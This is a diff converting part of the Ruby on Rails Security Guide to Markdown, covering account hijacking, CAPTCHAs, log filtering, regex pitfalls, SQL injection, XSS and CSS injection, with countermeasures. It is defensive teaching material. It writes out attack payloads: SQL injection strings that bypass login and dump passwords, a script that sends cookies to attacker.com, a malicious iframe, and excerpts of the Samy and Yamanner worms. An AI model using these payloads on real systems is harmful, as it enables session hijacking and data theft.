e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _(highlight)require the user to enter the password when changing the e-mail address, too_. +However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _require the user to enter the password when changing the e-mail address, too_. -h5. Other +#### Other -Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in "Google Mail":http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _(highlight)review your application logic and eliminate all XSS and CSRF vulnerabilities_. +Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_. -h4. CAPTCHAs +### CAPTCHAs INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that he is human, but reveal that a robot is a robot._ -But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is "reCAPTCHA":http://recaptcha.net/ which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. "ReCAPTCHA":http://ambethia.com/recaptcha/ is also a Rails plug-in with the same name as the API. +But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is [reCAPTCHA](http://recaptcha.net/) which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. [ReCAPTCHA](http://ambethia.com/recaptcha/) is also a Rails plug-in with the same name as the API. You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails. The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot. @@ -552,454 +560,455 @@ Here are some ideas how to hide honeypot fields by JavaScript and/or CSS: The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too. -You can find more sophisticated negative CAPTCHAs in Ned Batchelder's "blog post":http://nedbatchelder.com/text/stopbots.html: +You can find more sophisticated negative CAPTCHAs in Ned Batchelder's [blog post](http://nedbatchelder.com/text/stopbots.html:) * Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid. * Randomize the field names * Include more than one honeypot field of all types, including submission buttons -Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So _(highlight)negative CAPTCHAs might not be good to protect login forms_. +Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So _negative CAPTCHAs might not be good to protect login forms_. -h4. Logging +### Logging WARNING: _Tell Rails not to put passwords in the log files._ -By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers et cetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can _(highlight)filter certain request parameters from your log files_ by appending them to <tt>config.filter_parameters</tt> in the application configuration. These parameters will be marked [FILTERED] in the log. +By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers et cetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can _filter certain request parameters from your log files_ by appending them to `config.filter_parameters` in the application configuration. These parameters will be marked [FILTERED] in the log. -<ruby> +```ruby config.filter_parameters << :password -</ruby> +``` -h4. Good Passwords +### Good Passwords INFO: _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._ -Bruce Schneier, a security technologist, "has analyzed":http://www.schneier.com/blog/archives/2006/12/realworld_passw.html 34,000 real-world user names and passwords from the MySpace phishing attack mentioned <a href="#examples-from-the-underground">below</a>. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are: +Bruce Schneier, a security technologist, [has analyzed](http://www.schneier.com/blog/archives/2006/12/realworld_passw.html) 34,000 real-world user names and passwords from the MySpace phishing attack mentioned <a href="#examples-from-the-underground">below</a>. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are: password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, and monkey. It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today's passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked. -A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the _(highlight)first letters of a sentence that you can easily remember_. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too. +A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the _first letters of a sentence that you can easily remember_. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too. -h4. Regular Expressions +### Regular Expressions INFO: _A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z._ Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Say you wanted to loosely validate a URL field and you used a simple regular expression like this: -<ruby> +```ruby /^https?:\/\/[^\n]+$/i -</ruby> +``` -This may work fine in some languages. However, _(highlight)in Ruby ^ and $ match the *line* beginning and line end_. And thus a URL like this passes the filter without problems: +This may work fine in some languages. However, _in Ruby ^ and $ match the **line** beginning and line end_. And thus a URL like this passes the filter without problems: -<plain> +``` javascript:exploit_code();/* http://hi.com */ -</plain> +``` This URL passes the filter because the regular expression matches – the second line, the rest does not matter. Now imagine we had a view that showed the URL like this: -<ruby> +```ruby link_to "Homepage", @user.homepage -</ruby> +``` The link looks innocent to visitors, but when it's clicked, it will execute the JavaScript function "exploit_code" or any other JavaScript the attacker provides. To fix the regular expression, \A and \z should be used instead of ^ and $, like so: -<ruby> +```ruby /\Ahttps?:\/\/[^\n]+\z/i -</ruby> +``` Since this is a frequent mistake, the format validator (validates_format_of) now raises an exception if the provided regular expression starts with ^ or ends with $. If you do need to use ^ and $ instead of \A and \z (which is rare), you can set the :multiline option to true, like so: -<ruby> +```ruby # content should include a line "Meanwhile" anywhere in the string validates :content, :format => { :with => /^Meanwhile$/, :multiline => true } -</ruby> +``` -Note that this only protects you against the most common mistake when using the format validator - you always need to keep in mind that ^ and $ match the *line* beginning and line end in Ruby, and not the beginning and end of a string. +Note that this only protects you against the most common mistake when using the format validator - you always need to keep in mind that ^ and $ match the **line** beginning and line end in Ruby, and not the beginning and end of a string. -h4. Privilege Escalation +### Privilege Escalation WARNING: _Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it._ -The most common parameter that a user might tamper with, is the id parameter, as in +http://www.domain.com/project/1+, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this: +The most common parameter that a user might tamper with, is the id parameter, as in `http://www.domain.com/project/1`, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this: -<ruby> +```ruby @project = Project.find(params[:id]) -</ruby> +``` -This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, _(highlight)query the user's access rights, too_: +This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, _query the user's access rights, too_: -<ruby> +```ruby @project = @current_user.projects.find(params[:id]) -</ruby> +``` -Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, _(highlight)no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated_. +Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, _no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated_. -Don't be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. _(highlight)JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values_. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet. +Don't be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. _JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values_. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet. -h3. Injection +Injection +--------- INFO: _Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection._ Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection. -h4. Whitelists versus Blacklists +### Whitelists versus Blacklists NOTE: _When sanitizing, protecting or verifying something, whitelists over blacklists._ -A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although sometimes it is not possible to create a whitelist (in a SPAM filter, for example), _(highlight)prefer to use whitelist approaches_: +A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although sometimes it is not possible to create a whitelist (in a SPAM filter, for example), _prefer to use whitelist approaches_: * Use before_filter :only => [...] instead of :except => [...]. This way you don't forget to turn it off for newly added actions. * Use attr_accessible instead of attr_protected. See the mass-assignment section for details * Allow <strong> instead of removing <script> against Cross-Site Scripting (XSS). See below for details. * Don't try to correct user input by blacklists: -** This will make the attack work: "<sc<script>ript>".gsub("<script>", "") -** But reject malformed input + * This will make the attack work: "<sc<script>ript>".gsub("<script>", "") + * But reject malformed input Whitelists are also a good approach against the human factor of forgetting something in the blacklist. -h4. SQL Injection +### SQL Injection INFO: _Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem._ -h5(#sql-injection-introduction). Introduction +#### Introduction SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query: -<ruby> +```ruby Project.where("name = '#{params[:name]}'") -</ruby> +``` This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be: -<sql> +```sql SELECT * FROM projects WHERE name = '' OR 1 --' -</sql> +``` The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records. -h5. Bypassing Authorization +#### Bypassing Authorization Usually a web application includes access control. The user enters his login credentials, the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user. -<ruby> +```ruby User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'") -</ruby> +``` If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the password, the resulting SQL query will be: -<sql> +```sql SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1 -</sql> +``` This will simply find the first record in the database, and grants access to this user. -h5. Unauthorized Reading +#### Unauthorized Reading The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above: -<ruby> +```ruby Project.where("name = '#{params[:name]}'") -</ruby> +``` And now let's inject another query using the UNION statement: -<plain> +``` ') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users -- -</plain> +``` This will result in the following SQL query: -<sql> +```sql SELECT * FROM projects WHERE (name = '') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --' -</sql> +``` The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query. -Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails "to at least 2.1.1":http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/. +Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails [to at least 2.1.1](http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/). -h5(#sql-injection-countermeasures). Countermeasures +#### Countermeasures -Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. <em class="highlight">Using +Model.find(id)+ or +Model.find_by_some thing(something)+ automatically applies this countermeasure</em>. But in SQL fragments, especially <em class="highlight">in conditions fragments (+where("...")+), the +connection.execute()+ or +Model.find_by_sql()+ methods, it has to be applied manually</em>. +Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. <em class="highlight">Using `Model.find(id)` or `Model.find_by_some thing(something)` automatically applies this countermeasure</em>. But in SQL fragments, especially <em class="highlight">in conditions fragments (`where("...")`), the `connection.execute()` or `Model.find_by_sql()` methods, it has to be applied manually</em>. Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this: -<ruby> +```ruby Model.where("login = ? AND password = ?", entered_user_name, entered_password).first -</ruby> +``` As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result: -<ruby> +```ruby Model.where(:login => entered_user_name, :password => entered_password).first -</ruby> +``` -The array or hash form is only available in model instances. You can try +sanitize_sql()+ elsewhere. _(highlight)Make it a habit to think about the security consequences when using an external string in SQL_. +The array or hash form is only available in model instances. You can try `sanitize_sql()` elsewhere. _Make it a habit to think about the security consequences when using an external string in SQL_. -h4. Cross-Site Scripting (XSS) +### Cross-Site Scripting (XSS) INFO: _The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off._ -h5. Entry Points +#### Entry Points An entry point is a vulnerable URL and its parameters where an attacker can start an attack. -The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the "Live HTTP Headers Firefox plugin":http://livehttpheaders.mozdev.org/, or client-site proxies make it easy to change requests. +The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the [Live HTTP Headers Firefox plugin](http://livehttpheaders.mozdev.org/), or client-site proxies make it easy to change requests. XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser. -During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The "Symantec Global Internet Security threat report":http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf also documented 239 browser plug-in vulnerabilities in the last six months of 2007. "Mpack":http://pandalabs.pandasecurity.com/mpack-uncovered/ is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations, and many more high targets. +During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The [Symantec Global Internet Security threat report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf) also documented 239 browser plug-in vulnerabilities in the last six months of 2007. [Mpack](http://pandalabs.pandasecurity.com/mpack-uncovered/) is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations, and many more high targets. -A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to "Trend Micro":http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/. +A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to [Trend Micro](http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/). -h5. HTML/JavaScript Injection +#### HTML/JavaScript Injection -The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. _(highlight)Escaping user input is essential_. +The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. _Escaping user input is essential_. Here is the most straightforward test to check for XSS: -<html> +```html <script>alert('Hello');</script> -</html> +``` This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places: -<html> +```html <img src=javascript:alert('Hello')> <table background="javascript:alert('Hello')"> -</html> +``` -h6. Cookie Theft +##### Cookie Theft These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page: -<plain> +``` <script>document.write(document.cookie);</script> -</plain> +``` For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie. -<html> -<script>document.write('<img src="http://www.attacker.com/' <plus> document.cookie <plus> '">');</script> -</html> +```html +<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script> +``` The log files on www.attacker.com will read like this: -<plain> +``` GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2 -</plain> +``` -You can mitigate these attacks (in the obvious way) by adding the "httpOnly":http://dev.rubyonrails.org/ticket/8895 flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies "will still be visible using Ajax":http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/, though. +You can mitigate these attacks (in the obvious way) by adding the [httpOnly](http://dev.rubyonrails.org/ticket/8895) flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies [will still be visible using Ajax](http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/), though. -h6. Defacement +##### Defacement With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes: -<html> +```html <iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe> -</html> +``` -This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the "Mpack attack framework":http://isc.sans.org/diary.html?storyid=3015. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed. +This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the [Mpack attack framework](http://isc.sans.org/diary.html?storyid=3015). Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed. A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attacker's site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site. Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...": -<plain> +``` http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1--> <script src=http://www.securitylab.ru/test/sc.js></script><!-- -</plain> +``` -h6(#html-injection-countermeasures). Countermeasures +##### Countermeasures -_(highlight)It is very important to filter malicious input, but it is also important to escape the output of the web application_. +_It is very important to filter malicious input, but it is also important to escape the output of the web application_. -Especially for XSS, it is important to do _(highlight)whitelist input filtering instead of blacklist_. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete. +Especially for XSS, it is important to do _whitelist input filtering instead of blacklist_. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete. Imagine a blacklist deletes “script” from the user input. Now the attacker injects “<scrscriptipt>”, and after the filter, “<script>” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible: -<ruby> +```ruby strip_tags("some<<b>script>alert('hello')<</b>/script>") -</ruby> +``` This returned "some<script>alert('hello')</script>", which makes an attack work. That's why I vote for a whitelist approach, using the updated Rails 2 method sanitize(): -<ruby> +```ruby tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p) s = sanitize(user_input, :tags => tags, :attributes => %w(href title)) -</ruby> +``` This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags. -As a second step, _(highlight)it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _(highlight)Use +escapeHTML()+ (or its alias +h()+) method_ to replace the HTML input characters &, ", <, > by their uninterpreted representations in HTML (+&amp;+, +&quot;+, +&lt+;, and +&gt;+). However, it can easily happen that the programmer forgets to use it, so <em class="highlight">it is recommended to use the "SafeErb":http://safe-erb.rubyforge.org/svn/plugins/safe_erb/ plugin</em>. SafeErb reminds you to escape strings from external sources. +As a second step, _it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _Use `escapeHTML()` (or its alias `h()`) method_ to replace the HTML input characters &, ", <, > by their uninterpreted representations in HTML (`&`, `"`, `<`;, and `>`). However, it can easily happen that the programmer forgets to use it, so _it is recommended to use the [SafeErb](http://safe-erb.rubyforge.org/svn/plugins/safe_erb/) plugin_. SafeErb reminds you to escape strings from external sources. -h6. Obfuscation and Encoding Injection +##### Obfuscation and Encoding Injection Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding: -<html> -<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97; - &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> -</html> +``` +<IMG SRC=javascript:a + lert('XSS')> +``` -This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the "Hackvertor":https://hackvertor.co.uk/public. Rails' sanitize() method does a good job to fend off encoding attacks. +This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the [Hackvertor](https://hackvertor.co.uk/public). Rails' sanitize() method does a good job to fend off encoding attacks. -h5. Examples from the Underground +#### Examples from the Underground _In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors._ -The following is an excerpt from the "Js.Yamanner@m":http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&tabid=1 Yahoo! Mail "worm":http://groovin.net/stuff/yammer.txt. It appeared on June 11, 2006 and was the first webmail interface worm: +The following is an excerpt from the [Js.Yamanner@m](http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&tabid=1) Yahoo! Mail [worm](http://groovin.net/stuff/yammer.txt). It appeared on June 11, 2006 and was the first webmail interface worm: -<html> +``` <img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif' target=""onload="var http_request = false; var Email = ''; var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ... -</html> +``` The worms exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application. -Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on "Rosario Valotta's paper":http://www.xssed.com/article/9/Paper_A_PoC_of_a_cross_webmail_worm_XWW_called_Njuda_connection/. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with. +Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on [Rosario Valotta's paper](http://www.xssed.com/article/9/Paper_A_PoC_of_a_cross_webmail_worm_XWW_called_Njuda_connection/). Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with. -In December 2006, 34,000 actual user names and passwords were stolen in a "MySpace phishing attack":http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html. The idea of the attack was to create a profile page named “login_home_index_html”, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form. +In December 2006, 34,000 actual user names and passwords were stolen in a [MySpace phishing attack](http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html). The idea of the attack was to create a profile page named “login_home_index_html”, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form. The MySpace Samy worm will be discussed in the CSS Injection section. -h4. CSS Injection +### CSS Injection INFO: _CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application._ -CSS Injection is explained best by a well-known worm, the "MySpace Samy worm":http://namb.la/popular/tech.html. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm. +CSS Injection is explained best by a well-known worm, the [MySpace Samy worm](http://namb.la/popular/tech.html). This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm. MySpace blocks many tags, however it allows CSS. So the worm's author put JavaScript into CSS like this: -<html> +```html <div style="background:url('javascript:alert(1)')"> -</html> +``` So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript has a handy eval() function which executes any string as code. -<html> +```html <div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')"> -</html> +``` The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTML”: -<plain> +``` alert(eval('document.body.inne' + 'rHTML')); -</plain> +``` The next problem was MySpace filtering the word “javascript”, so the author used “java<NEWLINE>script" to get around this: -<html> +```html <div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')"> -</html> +``` Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a user and parsing the result for the CSRF token. In the end, he got a 4 KB worm, which he injected into his profile page. -The "moz-binding":http://www.securiteam.com/securitynews/5LP051FHPE.html CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example). +The [moz-binding](http://www.securiteam.com/securitynews/5LP051FHPE.html) CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example). -h5(#css-injection-countermeasures). Countermeasures +#### Countermeasures -This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. _(highlight)If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' +sanitize()+ method as a model for a whitelist CSS filter, if you really need one. +This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite 